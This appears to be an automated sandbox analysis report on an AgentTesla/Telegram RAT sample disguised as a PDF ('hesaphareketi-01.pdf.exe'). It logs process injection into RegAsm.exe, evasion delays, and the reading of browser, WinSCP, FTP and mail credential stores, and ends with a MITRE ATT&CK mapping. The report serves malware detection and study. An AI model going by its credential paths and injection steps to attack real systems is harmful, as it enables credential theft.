Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -598093s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -597765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -597547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -597422s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -597312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -597203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -597093s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -596967s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -596859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -596750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -596639s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -596510s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -596310s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -595652s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -595547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -595437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -595219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -595094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -594984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -594875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -594765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -594656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -594547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -594437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -594328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -594218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -594109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5744	Thread sleep time: -594000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe

Code function: 0_2_00007FF7341E24C0 GetSystemInfo,GetNumaHighestNodeNumber,GetCurrentProcess,GetProcessGroupAffinity,GetLastError,GetCurrentProcess,GetProcessAffinityMask,

0_2_00007FF7341E24C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 599090	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 598093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596967	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596639	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596510	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596310	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595652	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 594000	Jump to behavior

Source: RegAsm.exe, 00000003.00000002.3679376567.0000000005AF0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllu\

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF7341D55C0 RtlAddVectoredExceptionHandler,		0_2_00007FF7341D55C0
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Code function: 0_2_00007FF734239808 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF734239808

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 69E008	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe

Code function: 0_2_00007FF7341D5270 cpuid

0_2_00007FF7341D5270

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-01.pdf.exe

Code function: 0_2_00007FF7341DDD30 GetSystemTimeAsFileTime,

0_2_00007FF7341DDD30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-01.pdf.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6596, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-01.pdf.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6596, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-01.pdf.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6596, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-01.pdf.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6596, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.23682040090.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-01.pdf.exe.2368207aac8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-01.pdf.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6596, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	311 Process Injection	12 Obfuscated Files or Information	1 Credentials in Registry	36 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
